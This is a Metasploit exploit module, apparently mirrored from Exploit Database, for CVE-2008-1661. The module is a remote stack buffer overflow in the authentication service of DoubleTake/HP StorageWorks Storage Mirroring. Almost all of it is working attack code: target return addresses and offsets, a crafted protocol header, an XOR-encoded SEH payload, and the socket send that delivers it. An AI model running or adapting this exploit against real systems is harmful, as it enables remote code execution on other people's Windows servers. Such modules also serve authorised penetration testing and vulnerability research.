DoubleTake/HP StorageWorks Storage Mirroring Service – Authentication Overflow (Metasploit)

• Exploit Database
• 28 阅读

• 作者： Metasploit
  日期： 2010-07-03
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16450/

• ##
  # $Id: doubletake.rb 9669 2010-07-03 03:13:45Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in the authentication mechanism of
  					NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability
  					was found by Titon of Bastard Labs.
  			},
  			'Author' => [ 'ri0t <ri0t[at]ri0tnet.net>' ],
  			'Version'=> '$Revision: 9669 $',
  			'References' =>
  				[
  					['CVE', '2008-1661' ],
  					['OSVDB', '45924' ],
  				],
  			'Privileged' => false,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "\x00",
  				},
  			'Platform' => 'win',
  
  			'Targets'=>
  				[
  					['doubletake 4.5.0',{ 'Ret' => 0x006f5fa7, 'Offset' => 5544 } ],
  					['doubletake 4.4.2',{ 'Ret' => 0x0074e307, 'Offset' => 944} ],
  					['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Jun 04 2008'
  			))
  
  		register_options(
  			[
  				Opt::RPORT(1100)
  			], self.class)
  	end
  
  	def exploit
  
  		connect
  
  		print_status("Trying target #{target.name}...")
  
  		header =
  			"\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  			"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00"+
  			"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"+
  			"\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"
  
  		xor = Rex::Encoding::Xor::Byte
  		filler =rand_text_english(1) * (target['Offset'])
  		seh = generate_seh_payload(target.ret)
  		buffercoded = xor.encode(seh+payload.encoded, [0xf0].pack("C"))
  		sploit =header + filler + buffercoded[0]
  		sock.put(sploit)
  
  		handler
  		disconnect
  	end
  
  end